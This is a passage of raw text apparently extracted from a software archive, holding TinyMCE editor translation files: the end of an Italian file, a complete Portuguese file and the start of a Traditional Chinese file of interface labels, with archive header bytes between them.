"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Area di testo RTF. Premere ALT-F9 per il menu. Premere ALT-F10 per la barra degli strumenti. Premere ALT-0 per la guida.",
"Image title": "Titolo immagine",
"Border width": "Larghezza del bordo",
"Border style": "Stile del bordo",
"Error": "Errore",
"Warn": "Avviso",
"Valid": "Valido",
"To open the popup, press Shift+Enter": "Per aprire il popup, premere Shift+Invio",
"Rich Text Area. Press ALT-0 for help.": "Area di testo RTF. Premere ALT-0 per la guida.",
"System Font": "Carattere di sistema",
"Failed to upload image: {0}": "Caricamento immagine fallito: {0}",
"Failed to load plugin: {0} from url {1}": "Caricamento plugin fallito: {0} dall'URL {1}",
"Failed to load plugin url: {0}": "Caricamento URL plugin fallito: {0}",
"Failed to initialize plugin: {0}": "Inizializzazione plugin fallita: {0}",
"example": "esempio",
"Search": "Cerca",
"All": "Tutto",
"Currency": "Valuta",
"Text": "Testo",
"Quotations": "Citazioni",
"Mathematical": "Caratteri matematici",
"Extended Latin": "Latino esteso",
"Symbols": "Simboli",
"Arrows": "Frecce",
"User Defined": "Definito dall'utente",
"dollar sign": "simbolo del dollaro",
"currency sign": "simbolo di valuta",
"euro-currency sign": "simbolo dell'euro",
"colon sign": "simbolo del col\u00f3n",
"cruzeiro sign": "simbolo del cruzeiro",
"french franc sign": "simbolo del franco francese",
"lira sign": "simbolo della lira",
"mill sign": "simbolo del mill",
"naira sign": "simbolo della naira",
"peseta sign": "simbolo della peseta",
"rupee sign": "simbolo della rup\u00eca",
"won sign": "simbolo del won",
"new sheqel sign": "simbolo del nuovo shekel",
"dong sign": "simbolo del dong",
"kip sign": "simbolo del kip",
"tugrik sign": "simbolo del tugrik",
"drachma sign": "simbolo della dracma",
"german penny symbol": "simbolo del pfennig tedesco",
"peso sign": "simbolo del peso",
"guarani sign": "simbolo del guaran\u00ec",
"austral sign": "simbolo dell'austral",
"hryvnia sign": "simbolo della hryvnia",
"cedi sign": "simbolo del cedi",
"livre tournois sign": "simbolo della lira di Tours",
"spesmilo sign": "simbolo dello spesmilo",
"tenge sign": "simbolo del tenge",
"indian rupee sign": "simbolo della rup\u00eca indiana",
"turkish lira sign": "simbolo della lira turca",
"nordic mark sign": "simbolo del marco nordico",
"manat sign": "simbolo del manat",
"ruble sign": "simbolo del rublo",
"yen character": "simbolo dello yen",
"yuan character": "simbolo dello yuan",
"yuan character, in hong kong and taiwan": "simbolo dello yuan, Hong Kong e Taiwan",
"yen\/yuan character variant one": "simbolo yen\/yuan variante uno",
"Loading emoticons...": "Caricamento emoticon in corso",
"Could not load emoticons": "Impossibile caricare emoticon",
"People": "Persone",
"Animals and Nature": "Animali e natura",
"Food and Drink": "Cibi e bevande",
"Activity": "Attivit\u00e0",
"Travel and Places": "Viaggi e luoghi",
"Objects": "Oggetti",
"Flags": "Bandiere",
"Characters": "Caratteri",
"Characters (no spaces)": "Caratteri (senza spazi)",
"Error: Form submit field collision.": "Errore: Conflitto di campi nel modulo inviato.",
"Error: No form element found.": "Errore: Nessun elemento di modulo trovato.",
"Update": "Aggiorna",
"Color swatch": "Campione di colore",
"Turquoise": "Turchese",
"Green": "Verde",
"Blue": "Blu",
"Purple": "Viola",
"Navy Blue": "Blu scuro",
"Dark Turquoise": "Turchese scuro",
"Dark Green": "Verde scuro",
"Medium Blue": "Blu medio",
"Medium Purple": "Viola medio",
"Midnight Blue": "Blu notte",
"Yellow": "Giallo",
"Orange": "Arancio",
"Red": "Rosso",
"Light Gray": "Grigio chiaro",
"Gray": "Grigio",
"Dark Yellow": "Giallo scuro",
"Dark Orange": "Arancio scuro",
"Dark Red": "Rosso scuro",
"Medium Gray": "Grigio medio",
"Dark Gray": "Grigio scuro",
"Black": "Nero",
"White": "Bianco",
"Switch to or from fullscreen mode": "Attiva\/disattiva la modalit\u00e0 schermo intero",
"Open help dialog": "Apri la finestra di aiuto",
"history": "cronologia",
"styles": "stili",
"formatting": "formattazione",
"alignment": "allineamento",
"indentation": "indentazione",
"permanent pen": "penna indelebile",
"comments": "commenti"
});PK
h�\�rS�II!program/js/tinymce/langs/pt_PT.jsnu�[���tinymce.addI18n('pt_PT',{
"Redo": "Refazer",
"Undo": "Anular",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Colar",
"Select all": "Selecionar tudo",
"New document": "Novo documento",
"Ok": "Ok",
"Cancel": "Cancelar",
"Visual aids": "Ajuda visual",
"Bold": "Negrito",
"Italic": "It\u00e1lico",
"Underline": "Sublinhado",
"Strikethrough": "Rasurado",
"Superscript": "Superior \u00e0 linha",
"Subscript": "Inferior \u00e0 linha",
"Clear formatting": "Limpar formata\u00e7\u00e3o",
"Align left": "Alinhar \u00e0 esquerda",
"Align center": "Alinhar ao centro",
"Align right": "Alinhar \u00e0 direita",
"Justify": "Justificar",
"Bullet list": "Lista com marcas",
"Numbered list": "Lista numerada",
"Decrease indent": "Diminuir avan\u00e7o",
"Increase indent": "Aumentar avan\u00e7o",
"Close": "Fechar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "O seu navegador n\u00e3o suporta acesso direto \u00e0 \u00e1rea de transfer\u00eancia. Por favor, use os atalhos Ctrl+X\/C\/V do seu teclado.",
"Headers": "Cabe\u00e7alhos",
"Header 1": "Cabe\u00e7alho 1",
"Header 2": "Cabe\u00e7alho 2",
"Header 3": "Cabe\u00e7alho 3",
"Header 4": "Cabe\u00e7alho 4",
"Header 5": "Cabe\u00e7alho 5",
"Header 6": "Cabe\u00e7alho 6",
"Headings": "T\u00edtulos",
"Heading 1": "T\u00edtulo 1",
"Heading 2": "T\u00edtulo 2",
"Heading 3": "T\u00edtulo 3",
"Heading 4": "T\u00edtulo 4",
"Heading 5": "T\u00edtulo 5",
"Heading 6": "T\u00edtulo 6",
"Preformatted": "Pr\u00e9-formatado",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "Par\u00e1grafo",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Blocos",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "O comando colar est\u00e1 em modo de texto simples. O conte\u00fado ser\u00e1 colado como texto simples at\u00e9 desativar esta op\u00e7\u00e3o.",
"Fonts": "Tipos de letra",
"Font Sizes": "Tamanhos dos tipos de letra",
"Class": "Classe",
"Browse for an image": "Procurar uma imagem",
"OR": "OU",
"Drop an image here": "Largar aqui uma imagem",
"Upload": "Carregar",
"Block": "Bloco",
"Align": "Alinhar",
"Default": "Padr\u00e3o",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Square": "Quadrado",
"Lower Alpha": "a. b. c. ...",
"Lower Greek": "\\u03b1. \\u03b2. \\u03b3. ...",
"Lower Roman": "i. ii. iii. ...",
"Upper Alpha": "A. B. C. ...",
"Upper Roman": "I. II. III. ...",
"Anchor...": "\u00c2ncora...",
"Name": "Nome",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "O ID deve come\u00e7ar com uma letra, seguido apenas por letras, n\u00fameros, pontos, dois pontos, tra\u00e7os ou sobtra\u00e7os.",
"You have unsaved changes are you sure you want to navigate away?": "Existem altera\u00e7\u00f5es que ainda n\u00e3o foram guardadas. Tem a certeza que pretende sair?",
"Restore last draft": "Restaurar o \u00faltimo rascunho",
"Special character...": "Car\u00e1ter especial...",
"Source code": "C\u00f3digo fonte",
"Insert\/Edit code sample": "Inserir\/editar amostra de c\u00f3digo",
"Language": "Idioma",
"Code sample...": "Amostra de c\u00f3digo...",
"Color Picker": "Seletor de cores",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Da esquerda para a direita",
"Right to left": "Da direita para a esquerda",
"Emoticons": "Emo\u00e7\u00f5es",
"Emoticons...": "\u00cdcones expressivos...",
"Metadata and Document Properties": "Metadados e propriedades do documento",
"Title": "T\u00edtulo",
"Keywords": "Palavras-chave",
"Description": "Descri\u00e7\u00e3o",
"Robots": "Rob\u00f4s",
"Author": "Autor",
"Encoding": "Codifica\u00e7\u00e3o",
"Fullscreen": "Ecr\u00e3 completo",
"Action": "A\u00e7\u00e3o",
"Shortcut": "Atalho",
"Help": "Ajuda",
"Address": "Endere\u00e7o",
"Focus to menubar": "Foco na barra de menu",
"Focus to toolbar": "Foco na barra de ferramentas",
"Focus to element path": "Foco no caminho do elemento",
"Focus to contextual toolbar": "Foco na barra de contexto",
"Insert link (if link plugin activated)": "Inserir hiperliga\u00e7\u00e3o (se o plugin de liga\u00e7\u00f5es estiver ativado)",
"Save (if save plugin activated)": "Guardar (se o plugin de guardar estiver ativado)",
"Find (if searchreplace plugin activated)": "Pesquisar (se o plugin pesquisar e substituir estiver ativado)",
"Plugins installed ({0}):": "Plugins instalados ({0}):",
"Premium plugins:": "Plugins comerciais:",
"Learn more...": "Saiba mais...",
"You are using {0}": "Est\u00e1 a usar {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Atalhos \u00fateis",
"Horizontal line": "Linha horizontal",
"Insert\/edit image": "Inserir\/editar imagem",
"Alternative description": "Descri\u00e7\u00e3o alternativa",
"Accessibility": "Acessibilidade",
"Image is decorative": "Imagem \u00e9 decorativa",
"Source": "Localiza\u00e7\u00e3o",
"Dimensions": "Dimens\u00f5es",
"Constrain proportions": "Manter propor\u00e7\u00f5es",
"General": "Geral",
"Advanced": "Avan\u00e7ado",
"Style": "Estilo",
"Vertical space": "Espa\u00e7amento vertical",
"Horizontal space": "Espa\u00e7amento horizontal",
"Border": "Contorno",
"Insert image": "Inserir imagem",
"Image...": "Imagem...",
"Image list": "Lista de imagens",
"Rotate counterclockwise": "Rota\u00e7\u00e3o anti-hor\u00e1ria",
"Rotate clockwise": "Rota\u00e7\u00e3o hor\u00e1ria",
"Flip vertically": "Inverter verticalmente",
"Flip horizontally": "Inverter horizontalmente",
"Edit image": "Editar imagem",
"Image options": "Op\u00e7\u00f5es de imagem",
"Zoom in": "Mais zoom",
"Zoom out": "Menos zoom",
"Crop": "Recortar",
"Resize": "Redimensionar",
"Orientation": "Orienta\u00e7\u00e3o",
"Brightness": "Brilho",
"Sharpen": "Mais nitidez",
"Contrast": "Contraste",
"Color levels": "N\u00edveis de cor",
"Gamma": "Gama",
"Invert": "Inverter",
"Apply": "Aplicar",
"Back": "Voltar",
"Insert date\/time": "Inserir data\/hora",
"Date\/time": "Data\/hora",
"Insert\/edit link": "Inserir\/editar liga\u00e7\u00e3o",
"Text to display": "Texto a exibir",
"Url": "URL",
"Open link in...": "Abrir liga\u00e7\u00e3o em...",
"Current window": "Janela atual",
"None": "Nenhum",
"New window": "Nova janela",
"Open link": "Abrir liga\u00e7\u00e3o",
"Remove link": "Remover liga\u00e7\u00e3o",
"Anchors": "\u00c2ncora",
"Link...": "Liga\u00e7\u00e3o...",
"Paste or type a link": "Copiar ou escrever uma hiperliga\u00e7\u00e3o",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "O URL que indicou parece ser um endere\u00e7o de email. Quer adicionar o prefixo mailto: tal como necess\u00e1rio?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "O URL que indicou parece ser um endere\u00e7o web. Quer adicionar o prefixo http:\/\/ tal como necess\u00e1rio?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "O URL que introduziu parece ser uma liga\u00e7\u00e3o externa. Deseja adicionar-lhe o prefixo https:\/\/ ?",
"Link list": "Lista de liga\u00e7\u00f5es",
"Insert video": "Inserir v\u00eddeo",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Insert\/edit media": "Inserir\/editar media",
"Alternative source": "Localiza\u00e7\u00e3o alternativa",
"Alternative source URL": "URL da origem alternativa",
"Media poster (Image URL)": "Publicador de media (URL da imagem)",
"Paste your embed code below:": "Colar c\u00f3digo para embeber:",
"Embed": "Embeber",
"Media...": "Media...",
"Nonbreaking space": "Espa\u00e7o n\u00e3o quebr\u00e1vel",
"Page break": "Quebra de p\u00e1gina",
"Paste as text": "Colar como texto",
"Preview": "Pr\u00e9-visualizar",
"Print...": "Imprimir...",
"Save": "Guardar",
"Find": "Pesquisar",
"Replace with": "Substituir por",
"Replace": "Substituir",
"Replace all": "Substituir tudo",
"Previous": "Anterior",
"Next": "Pr\u00f3ximo",
"Find and Replace": "Pesquisar e substituir",
"Find and replace...": "Localizar e substituir...",
"Could not find the specified string.": "N\u00e3o foi poss\u00edvel localizar o termo especificado.",
"Match case": "Diferenciar mai\u00fasculas e min\u00fasculas",
"Find whole words only": "Localizar apenas palavras inteiras",
"Find in selection": "Pesquisar na selec\u00e7\u00e3o",
"Spellcheck": "Corretor ortogr\u00e1fico",
"Spellcheck Language": "Idioma de verifica\u00e7\u00e3o lingu\u00edstica",
"No misspellings found.": "N\u00e3o foram encontrados erros ortogr\u00e1ficos.",
"Ignore": "Ignorar",
"Ignore all": "Ignorar tudo",
"Finish": "Concluir",
"Add to Dictionary": "Adicionar ao dicion\u00e1rio",
"Insert table": "Inserir tabela",
"Table properties": "Propriedades da tabela",
"Delete table": "Eliminar tabela",
"Cell": "C\u00e9lula",
"Row": "Linha",
"Column": "Coluna",
"Cell properties": "Propriedades da c\u00e9lula",
"Merge cells": "Unir c\u00e9lulas",
"Split cell": "Dividir c\u00e9lula",
"Insert row before": "Inserir linha antes",
"Insert row after": "Inserir linha depois",
"Delete row": "Eliminar linha",
"Row properties": "Propriedades da linha",
"Cut row": "Cortar linha",
"Copy row": "Copiar linha",
"Paste row before": "Colar linha antes",
"Paste row after": "Colar linha depois",
"Insert column before": "Inserir coluna antes",
"Insert column after": "Inserir coluna depois",
"Delete column": "Eliminar coluna",
"Cols": "Colunas",
"Rows": "Linhas",
"Width": "Largura",
"Height": "Altura",
"Cell spacing": "Espa\u00e7amento entre c\u00e9lulas",
"Cell padding": "Espa\u00e7amento interno da c\u00e9lula",
"Caption": "Legenda",
"Show caption": "Mostrar legenda",
"Left": "Esquerda",
"Center": "Centro",
"Right": "Direita",
"Cell type": "Tipo de c\u00e9lula",
"Scope": "Escopo",
"Alignment": "Alinhamento",
"H Align": "Alinhamento H",
"V Align": "Alinhamento V",
"Top": "Superior",
"Middle": "Meio",
"Bottom": "Inferior",
"Header cell": "C\u00e9lula de cabe\u00e7alho",
"Row group": "Agrupar linha",
"Column group": "Agrupar coluna",
"Row type": "Tipo de linha",
"Header": "Cabe\u00e7alho",
"Body": "Corpo",
"Footer": "Rodap\u00e9",
"Border color": "Cor de contorno",
"Insert template...": "Inserir modelo...",
"Templates": "Modelos",
"Template": "Tema",
"Text color": "Cor do texto",
"Background color": "Cor de fundo",
"Custom...": "Personalizada...",
"Custom color": "Cor personalizada",
"No color": "Sem cor",
"Remove color": "Remover cor",
"Table of Contents": "\u00cdndice",
"Show blocks": "Mostrar blocos",
"Show invisible characters": "Mostrar caracteres invis\u00edveis",
"Word count": "Contagem de palavras",
"Count": "Contagem",
"Document": "Documento",
"Selection": "Sele\u00e7\u00e3o",
"Words": "Palavras",
"Words: {0}": "Palavras: {0}",
"{0} words": "{0} palavras",
"File": "Ficheiro",
"Edit": "Editar",
"Insert": "Inserir",
"View": "Ver",
"Format": "Formatar",
"Table": "Tabela",
"Tools": "Ferramentas",
"Powered by {0}": "Criado em {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Caixa de texto formatado. Pressione ALT-F9 para exibir o menu. Pressione ALT-F10 para exibir a barra de ferramentas. Pressione ALT-0 para exibir a ajuda",
"Image title": "T\u00edtulo da imagem",
"Border width": "Largura do limite",
"Border style": "Estilo do limite",
"Error": "Erro",
"Warn": "Aviso",
"Valid": "V\u00e1lido",
"To open the popup, press Shift+Enter": "Para abrir o pop-up, prima Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u00c1rea de texto formatado. Prima ALT-0 para exibir a ajuda.",
"System Font": "Tipo de letra do sistema",
"Failed to upload image: {0}": "Falha ao carregar imagem: {0}",
"Failed to load plugin: {0} from url {1}": "Falha ao carregar plugin: {0} do URL {1}",
"Failed to load plugin url: {0}": "Falha ao carregar o URL do plugin: {0}",
"Failed to initialize plugin: {0}": "Falha ao inicializar plugin: {0}",
"example": "exemplo",
"Search": "Pesquisar",
"All": "Tudo",
"Currency": "Moeda",
"Text": "Texto",
"Quotations": "Aspas",
"Mathematical": "Matem\u00e1tico",
"Extended Latin": "Carateres latinos estendidos",
"Symbols": "S\u00edmbolos",
"Arrows": "Setas",
"User Defined": "Definido pelo utilizador",
"dollar sign": "cifr\u00e3o",
"currency sign": "sinal monet\u00e1rio",
"euro-currency sign": "sinal monet\u00e1rio do euro",
"colon sign": "sinal de dois pontos",
"cruzeiro sign": "sinal de cruzeiro",
"french franc sign": "sinal de franco franc\u00eas",
"lira sign": "sinal de lira",
"mill sign": "sinal de por mil",
"naira sign": "sinal de naira",
"peseta sign": "sinal de peseta",
"rupee sign": "sinal de r\u00fapia",
"won sign": "sinal de won",
"new sheqel sign": "sinal de novo sheqel",
"dong sign": "sinal de dong",
"kip sign": "sinal kip",
"tugrik sign": "sinal tugrik",
"drachma sign": "sinal drachma",
"german penny symbol": "sinal de penny alem\u00e3o",
"peso sign": "sinal de peso",
"guarani sign": "sinal de guarani",
"austral sign": "sinal de austral",
"hryvnia sign": "sinal hryvnia",
"cedi sign": "sinal de cedi",
"livre tournois sign": "sinal de libra de tours",
"spesmilo sign": "sinal de spesmilo",
"tenge sign": "sinal de tengue",
"indian rupee sign": "sinal de rupia indiana",
"turkish lira sign": "sinal de lira turca",
"nordic mark sign": "sinal de marca n\u00f3rdica",
"manat sign": "sinal manat",
"ruble sign": "sinal de rublo",
"yen character": "sinal de iene",
"yuan character": "sinal de iuane",
"yuan character, in hong kong and taiwan": "sinal de iuane, em Hong Kong e Taiwan",
"yen\/yuan character variant one": "variante um de sinal de iene\/iuane",
"Loading emoticons...": "A carregar \u00edcones expressivos...",
"Could not load emoticons": "N\u00e3o foi poss\u00edvel carregar \u00edcones expressivos",
"People": "Pessoas",
"Animals and Nature": "Animais e natureza",
"Food and Drink": "Comida e bebida",
"Activity": "Atividade",
"Travel and Places": "Viagens e lugares",
"Objects": "Objetos",
"Flags": "Bandeiras",
"Characters": "Carateres",
"Characters (no spaces)": "Carateres (sem espa\u00e7os)",
"{0} characters": "{0} carateres",
"Error: Form submit field collision.": "Erro: conflito no campo de submiss\u00e3o de formul\u00e1rio.",
"Error: No form element found.": "Erro: nenhum elemento de formul\u00e1rio encontrado.",
"Update": "Atualizar",
"Color swatch": "Cole\u00e7\u00e3o de cores",
"Turquoise": "Turquesa",
"Green": "Verde",
"Blue": "Azul",
"Purple": "P\u00farpura",
"Navy Blue": "Azul-atl\u00e2ntico",
"Dark Turquoise": "Turquesa escuro",
"Dark Green": "Verde escuro",
"Medium Blue": "Azul interm\u00e9dio",
"Medium Purple": "P\u00farpura interm\u00e9dio",
"Midnight Blue": "Azul muito escuro",
"Yellow": "Amarelo",
"Orange": "Laranja",
"Red": "Vermelho",
"Light Gray": "Cinzento claro",
"Gray": "Cinzento",
"Dark Yellow": "Amarelo escuro",
"Dark Orange": "Laranja escuro",
"Dark Red": "Vermelho escuro",
"Medium Gray": "Cinzento m\u00e9dio",
"Dark Gray": "Cinzento escuro",
"Light Green": "Verde claro",
"Light Yellow": "Amarelo claro",
"Light Red": "Vermelho claro",
"Light Purple": "P\u00farpura claro",
"Light Blue": "Azul claro",
"Dark Purple": "P\u00farpura escuro",
"Dark Blue": "Azul escuro",
"Black": "Preto",
"White": "Branco",
"Switch to or from fullscreen mode": "Entrar ou sair do modo de ecr\u00e3 inteiro",
"Open help dialog": "Abrir caixa de di\u00e1logo Ajuda",
"history": "hist\u00f3rico",
"styles": "estilos",
"formatting": "formata\u00e7\u00e3o",
"alignment": "alinhamento",
"indentation": "avan\u00e7o",
"Font": "Tipo de letra",
"Size": "Tamanho",
"More...": "Mais...",
"Select...": "Selecionar...",
"Preferences": "Prefer\u00eancias",
"Yes": "Sim",
"No": "N\u00e3o",
"Keyboard Navigation": "Navega\u00e7\u00e3o com teclado",
"Version": "Vers\u00e3o",
"Code view": "Vista do c\u00f3digo-fonte",
"Open popup menu for split buttons": "Abrir o menu popup para bot\u00f5es divididos",
"List Properties": "Propriedades da lista",
"List properties...": "Propriedades da lista\u2026",
"Start list at number": "Come\u00e7ar a lista pelo n\u00famero",
"Line height": "Altura da linha",
"comments": "coment\u00e1rios",
"Format Painter": "Pincel de formata\u00e7\u00e3o",
"Insert\/edit iframe": "Inserir\/editar iframe",
"Capitalization": "Capitaliza\u00e7\u00e3o",
"lowercase": "min\u00fasculas",
"UPPERCASE": "MAI\u00daSCULAS",
"Title Case": "Iniciais mai\u00fasculas",
"permanent pen": "caneta permanente",
"Permanent Pen Properties": "Propriedades da Caneta Permanente",
"Permanent pen properties...": "Propriedades da caneta permanente...",
"case change": "mudan\u00e7a de capitaliza\u00e7\u00e3o",
"page embed": "incorporar p\u00e1gina",
"Advanced sort...": "Ordena\u00e7\u00e3o avan\u00e7ada\u2026",
"Advanced Sort": "Ordena\u00e7\u00e3o avan\u00e7ada",
"Sort table by column ascending": "Ordenar tabela por coluna ascendente",
"Sort table by column descending": "Ordenar tabela por coluna descendente",
"Sort": "Ordenar",
"Order": "Ordem",
"Sort by": "Ordenar por",
"Ascending": "Ascendente",
"Descending": "Descendente",
"Column {0}": "Coluna {0}",
"Row {0}": "Linha {0}",
"Spellcheck...": "Verifica\u00e7\u00e3o ortogr\u00e1fica...",
"Misspelled word": "Palavra mal escrita",
"Suggestions": "Sugest\u00f5es",
"Change": "Alterar",
"Finding word suggestions": "Encontrar sugest\u00f5es de palavras",
"Success": "Sucesso",
"Repair": "Reparar",
"Issue {0} of {1}": "Problema {0} de {1}",
"Images must be marked as decorative or have an alternative text description": "As imagens devem ser marcadas como decorativas ou ter uma descri\u00e7\u00e3o textual alternativa",
"Images must have an alternative text description. Decorative images are not allowed.": "As imagens devem ter uma descri\u00e7\u00e3o textual alternativa. N\u00e3o s\u00e3o permitidas imagens meramente decorativas.",
"Or provide alternative text:": "Ou forne\u00e7a um texto alternativo:",
"Make image decorative:": "Marque a imagem como decorativa:",
"ID attribute must be unique": "O atributo ID tem de ser \u00fanico",
"Make ID unique": "Tornar o ID \u00fanico",
"Keep this ID and remove all others": "Mantenha este ID e remova todos os outros",
"Remove this ID": "Remover este ID",
"Remove all IDs": "Remover todos os IDs",
"Checklist": "Lista de verifica\u00e7\u00e3o",
"Anchor": "\u00c2ncora",
"Special character": "Car\u00e1cter especial",
"Code sample": "Amostra de c\u00f3digo",
"Color": "Cor",
"Document properties": "Propriedades do documento",
"Image description": "Descri\u00e7\u00e3o da imagem",
"Image": "Imagem",
"Insert link": "Inserir liga\u00e7\u00e3o",
"Target": "Alvo",
"Link": "Liga\u00e7\u00e3o",
"Poster": "Autor",
"Media": "Media",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Pesquisar e substituir",
"Whole words": "Palavras completas",
"Insert template": "Inserir modelo"
});PK
h�\��u:~I~I!program/js/tinymce/langs/zh_TW.jsnu�[���tinymce.addI18n('zh_TW',{
"Redo": "\u91cd\u505a",
"Undo": "\u64a4\u92b7",
"Cut": "\u526a\u4e0b",
"Copy": "\u8907\u88fd",
"Paste": "\u8cbc\u4e0a",
"Select all": "\u5168\u9078",
"New document": "\u65b0\u6587\u4ef6",
"Ok": "\u78ba\u5b9a",
"Cancel": "\u53d6\u6d88",
"Visual aids": "\u5c0f\u5e6b\u624b",
"Bold": "\u7c97\u9ad4",
"Italic": "\u659c\u9ad4",
"Underline": "\u4e0b\u5283\u7dda",
"Strikethrough": "\u522a\u9664\u7dda",
"Superscript": "\u4e0a\u6a19",
"Subscript": "\u4e0b\u6a19",
"Clear formatting": "\u6e05\u9664\u683c\u5f0f",
"Align left": "\u5de6\u908a\u5c0d\u9f4a",
"Align center": "\u4e2d\u9593\u5c0d\u9f4a",
"Align right": "\u53f3\u908a\u5c0d\u9f4a",
"Justify": "\u5de6\u53f3\u5c0d\u9f4a",
"Bullet list": "\u9805\u76ee\u6e05\u55ae",
"Numbered list": "\u6578\u5b57\u6e05\u55ae",
"Decrease indent": "\u6e1b\u5c11\u7e2e\u6392",
"Increase indent": "\u589e\u52a0\u7e2e\u6392",
"Close": "\u95dc\u9589",
"Formats": "\u683c\u5f0f",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u5b58\u53d6\u526a\u8cbc\u7c3f\uff0c\u53ef\u4ee5\u4f7f\u7528\u5feb\u901f\u9375 Ctrl + X\/C\/V \u4ee3\u66ff\u526a\u4e0b\u3001\u8907\u88fd\u8207\u8cbc\u4e0a\u3002",
"Headers": "\u6a19\u984c",
"Header 1": "\u6a19\u984c 1",
"Header 2": "\u6a19\u984c 2",
"Header 3": "\u6a19\u984c 3",
"Header 4": "\u6a19\u984c 4",
"Header 5": "\u6a19\u984c 5",
"Header 6": "\u6a19\u984c 6",
"Headings": "\u6a19\u984c",
"Heading 1": "\u6a19\u984c1",
"Heading 2": "\u6a19\u984c2",
"Heading 3": "\u6a19\u984c3",
"Heading 4": "\u6a19\u984c4",
"Heading 5": "\u6a19\u984c5",
"Heading 6": "\u6a19\u984c6",
"Preformatted": "\u9810\u5148\u683c\u5f0f\u5316\u7684",
"Div": "Div",
"Pre": "Pre",
"Code": "\u4ee3\u78bc",
"Paragraph": "\u6bb5\u843d",
"Blockquote": "\u5f15\u6587\u5340\u584a",
"Inline": "\u5167\u806f",
"Blocks": "\u57fa\u584a",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u76ee\u524d\u5c07\u4ee5\u7d14\u6587\u5b57\u7684\u6a21\u5f0f\u8cbc\u4e0a\uff0c\u60a8\u53ef\u4ee5\u518d\u9ede\u9078\u4e00\u6b21\u53d6\u6d88\u3002",
"Fonts": "\u5b57\u578b",
"Font Sizes": "\u5b57\u578b\u5927\u5c0f",
"Class": "\u985e\u578b",
"Browse for an image": "\u5f9e\u5716\u7247\u4e2d\u700f\u89bd",
"OR": "\u6216",
"Drop an image here": "\u62d6\u66f3\u5716\u7247\u81f3\u6b64",
"Upload": "\u4e0a\u50b3",
"Block": "\u5340\u584a",
"Align": "\u5c0d\u9f4a",
"Default": "\u9810\u8a2d",
"Circle": "\u7a7a\u5fc3\u5713",
"Disc": "\u5be6\u5fc3\u5713",
"Square": "\u6b63\u65b9\u5f62",
"Lower Alpha": "\u5c0f\u5beb\u82f1\u6587\u5b57\u6bcd",
"Lower Greek": "\u5e0c\u81d8\u5b57\u6bcd",
"Lower Roman": "\u5c0f\u5beb\u7f85\u99ac\u6578\u5b57",
"Upper Alpha": "\u5927\u5beb\u82f1\u6587\u5b57\u6bcd",
"Upper Roman": "\u5927\u5beb\u7f85\u99ac\u6578\u5b57",
"Anchor...": "\u9328\u9ede...",
"Name": "\u540d\u7a31",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id\u61c9\u4ee5\u5b57\u6bcd\u958b\u982d\uff0c\u5f8c\u9762\u63a5\u8457\u5b57\u6bcd\uff0c\u6578\u5b57\uff0c\u7834\u6298\u865f\uff0c\u9ede\u6578\uff0c\u5192\u865f\u6216\u4e0b\u5283\u7dda\u3002",
"You have unsaved changes are you sure you want to navigate away?": "\u7de8\u8f2f\u5c1a\u672a\u88ab\u5132\u5b58\uff0c\u4f60\u78ba\u5b9a\u8981\u96e2\u958b\uff1f",
"Restore last draft": "\u8f09\u5165\u4e0a\u4e00\u6b21\u7de8\u8f2f\u7684\u8349\u7a3f",
"Special character...": "\u7279\u6b8a\u5b57\u5143......",
"Source code": "\u539f\u59cb\u78bc",
"Insert\/Edit code sample": "\u63d2\u5165\/\u7de8\u8f2f \u7a0b\u5f0f\u78bc\u7bc4\u4f8b",
"Language": "\u8a9e\u8a00",
"Code sample...": "\u7a0b\u5f0f\u78bc\u7bc4\u4f8b...",
"Color Picker": "\u9078\u8272\u5668",
"R": "\u7d05",
"G": "\u7da0",
"B": "\u85cd",
"Left to right": "\u5f9e\u5de6\u5230\u53f3",
"Right to left": "\u5f9e\u53f3\u5230\u5de6",
"Emoticons...": "\u8868\u60c5\u7b26\u865f\u2026",
"Metadata and Document Properties": "\u5f8c\u8a2d\u8cc7\u6599\u8207\u6587\u4ef6\u5c6c\u6027",
"Title": "\u6a19\u984c",
"Keywords": "\u95dc\u9375\u5b57",
"Description": "\u63cf\u8ff0",
"Robots": "\u6a5f\u5668\u4eba",
"Author": "\u4f5c\u8005",
"Encoding": "\u7de8\u78bc",
"Fullscreen": "\u5168\u87a2\u5e55",
"Action": "\u52d5\u4f5c",
"Shortcut": "\u5feb\u901f\u9375",
"Help": "\u5e6b\u52a9",
"Address": "\u5730\u5740",
"Focus to menubar": "\u8df3\u81f3\u9078\u55ae\u5217",
"Focus to toolbar": "\u8df3\u81f3\u5de5\u5177\u5217",
"Focus to element path": "\u8df3\u81f3HTML\u5143\u7d20\u5217",
"Focus to contextual toolbar": "\u8df3\u81f3\u5feb\u6377\u9078\u55ae",
"Insert link (if link plugin activated)": "\u65b0\u589e\u6377\u5f91 (\u6377\u5f91\u5916\u639b\u555f\u7528\u6642)",
"Save (if save plugin activated)": "\u5132\u5b58 (\u5132\u5b58\u5916\u639b\u555f\u7528\u6642)",
"Find (if searchreplace plugin activated)": "\u5c0b\u627e (\u5c0b\u627e\u53d6\u4ee3\u5916\u639b\u555f\u7528\u6642)",
